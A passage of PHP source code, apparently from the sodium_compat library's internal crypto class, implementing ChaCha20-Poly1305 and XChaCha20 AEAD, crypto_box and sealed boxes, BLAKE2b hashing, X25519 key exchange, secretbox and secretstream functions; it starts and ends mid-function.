ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { $c = self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); return $c; } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return ParagonIE_Sodium_Compat::crypto_generichash( ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if 